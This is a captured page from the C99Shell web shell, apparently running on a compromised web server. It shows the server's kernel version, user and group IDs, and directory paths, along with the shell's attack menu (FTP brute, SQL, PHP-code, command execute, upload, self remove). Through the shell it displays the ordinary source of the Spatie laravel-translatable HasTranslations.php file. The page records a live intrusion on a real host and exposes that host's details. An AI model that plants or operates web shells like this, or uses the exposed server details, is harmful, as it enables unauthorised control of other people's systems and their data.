!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/vendor/spatie/laravel-translatable/src/   drwxr-xr-x
Free 23.64 GB of 117.98 GB (20.04%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     HasTranslations.php (6.63 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Spatie\Translatable;

use 
Illuminate\Support\Facades\Config;
use 
Illuminate\Support\Str;
use 
Spatie\Translatable\Events\TranslationHasBeenSet;
use 
Spatie\Translatable\Exceptions\AttributeIsNotTranslatable;

trait 
HasTranslations
{
    protected 
$translationLocale null;

    public static function 
usingLocale(string $locale): self
    
{
        return (new 
self())->setLocale($locale);
    }

    public function 
getAttributeValue($key)
    {
        if (! 
$this->isTranslatableAttribute($key)) {
            return 
parent::getAttributeValue($key);
        }

        return 
$this->getTranslation($key$this->getLocale());
    }

    public function 
setAttribute($key$value)
    {
        if (
$this->isTranslatableAttribute($key) && is_array($value)) {
            return 
$this->setTranslations($key$value);
        }

        
// Pass arrays and untranslatable attributes to the parent method.
        
if (! $this->isTranslatableAttribute($key) || is_array($value)) {
            return 
parent::setAttribute($key$value);
        }

        
// If the attribute is translatable and not already translated, set a
        // translation for the current app locale.
        
return $this->setTranslation($key$this->getLocale(), $value);
    }

    public function 
translate(string $keystring $locale ''bool $useFallbackLocale true): string
    
{
        return 
$this->getTranslation($key$locale$useFallbackLocale);
    }

    public function 
getTranslation(string $keystring $localebool $useFallbackLocale true)
    {
        
$locale $this->normalizeLocale($key$locale$useFallbackLocale);

        
$translations $this->getTranslations($key);

        
$translation $translations[$locale] ?? '';

        if (
$this->hasGetMutator($key)) {
            return 
$this->mutateAttribute($key$translation);
        }

        return 
$translation;
    }

    public function 
getTranslationWithFallback(string $keystring $locale): string
    
{
        return 
$this->getTranslation($key$localetrue);
    }

    public function 
getTranslationWithoutFallback(string $keystring $locale)
    {
        return 
$this->getTranslation($key$localefalse);
    }

    public function 
getTranslations(string $key null): array
    {
        if (
$key !== null) {
            
$this->guardAgainstNonTranslatableAttribute($key);

            return 
array_filter(json_decode($this->getAttributes()[$key] ?? '' ?: '{}'true) ?: [], function ($value) {
                return 
$value !== null && $value !== '';
            });
        }

        return 
array_reduce($this->getTranslatableAttributes(), function ($result$item) {
            
$result[$item] = $this->getTranslations($item);

            return 
$result;
        });
    }

    public function 
setTranslation(string $keystring $locale$value): self
    
{
        
$this->guardAgainstNonTranslatableAttribute($key);

        
$translations $this->getTranslations($key);

        
$oldValue $translations[$locale] ?? '';

        if (
$this->hasSetMutator($key)) {
            
$method 'set'.Str::studly($key).'Attribute';

            
$this->{$method}($value$locale);

            
$value $this->attributes[$key];
        }

        
$translations[$locale] = $value;

        
$this->attributes[$key] = $this->asJson($translations);

        
event(new TranslationHasBeenSet($this$key$locale$oldValue$value));

        return 
$this;
    }

    public function 
setTranslations(string $key, array $translations): self
    
{
        
$this->guardAgainstNonTranslatableAttribute($key);

        foreach (
$translations as $locale => $translation) {
            
$this->setTranslation($key$locale$translation);
        }

        return 
$this;
    }

    public function 
forgetTranslation(string $keystring $locale): self
    
{
        
$translations $this->getTranslations($key);

        unset(
            
$translations[$locale],
            
$this->$key
        
);

        
$this->setTranslations($key$translations);

        return 
$this;
    }

    public function 
forgetAllTranslations(string $locale): self
    
{
        
collect($this->getTranslatableAttributes())->each(function (string $attribute) use ($locale) {
            
$this->forgetTranslation($attribute$locale);
        });

        return 
$this;
    }

    public function 
getTranslatedLocales(string $key): array
    {
        return 
array_keys($this->getTranslations($key));
    }

    public function 
isTranslatableAttribute(string $key): bool
    
{
        return 
in_array($key$this->getTranslatableAttributes());
    }

    public function 
hasTranslation(string $keystring $locale null): bool
    
{
        
$locale $locale ?: $this->getLocale();

        return isset(
$this->getTranslations($key)[$locale]);
    }

    public function 
replaceTranslations(string $key, array $translations): self
    
{
        foreach (
$this->getTranslatedLocales($key) as $locale) {
            
$this->forgetTranslation($key$locale);
        }

        
$this->setTranslations($key$translations);

        return 
$this;
    }

    protected function 
guardAgainstNonTranslatableAttribute(string $key)
    {
        if (! 
$this->isTranslatableAttribute($key)) {
            throw 
AttributeIsNotTranslatable::make($key$this);
        }
    }

    protected function 
normalizeLocale(string $keystring $localebool $useFallbackLocale): string
    
{
        if (
in_array($locale$this->getTranslatedLocales($key))) {
            return 
$locale;
        }

        if (! 
$useFallbackLocale) {
            return 
$locale;
        }

        if (! 
is_null($fallbackLocale config('translatable.fallback_locale'))) {
            return 
$fallbackLocale;
        }

        if (! 
is_null($fallbackLocale config('app.fallback_locale'))) {
            return 
$fallbackLocale;
        }

        return 
$locale;
    }

    public function 
setLocale(string $locale): self
    
{
        
$this->translationLocale $locale;

        return 
$this;
    }

    public function 
getLocale(): string
    
{
        return 
$this->translationLocale ?: config('app.locale');
    }

    public function 
getTranslatableAttributes(): array
    {
        return 
is_array($this->translatable)
            ? 
$this->translatable
            
: [];
    }

    public function 
getTranslationsAttribute(): array
    {
        return 
collect($this->getTranslatableAttributes())
            ->
mapWithKeys(function (string $key) {
                return [
$key => $this->getTranslations($key)];
            })
            ->
toArray();
    }

    public function 
getCasts(): array
    {
        return 
array_merge(
            
parent::getCasts(),
            
array_fill_keys($this->getTranslatableAttributes(), 'array')
        );
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0058 ]--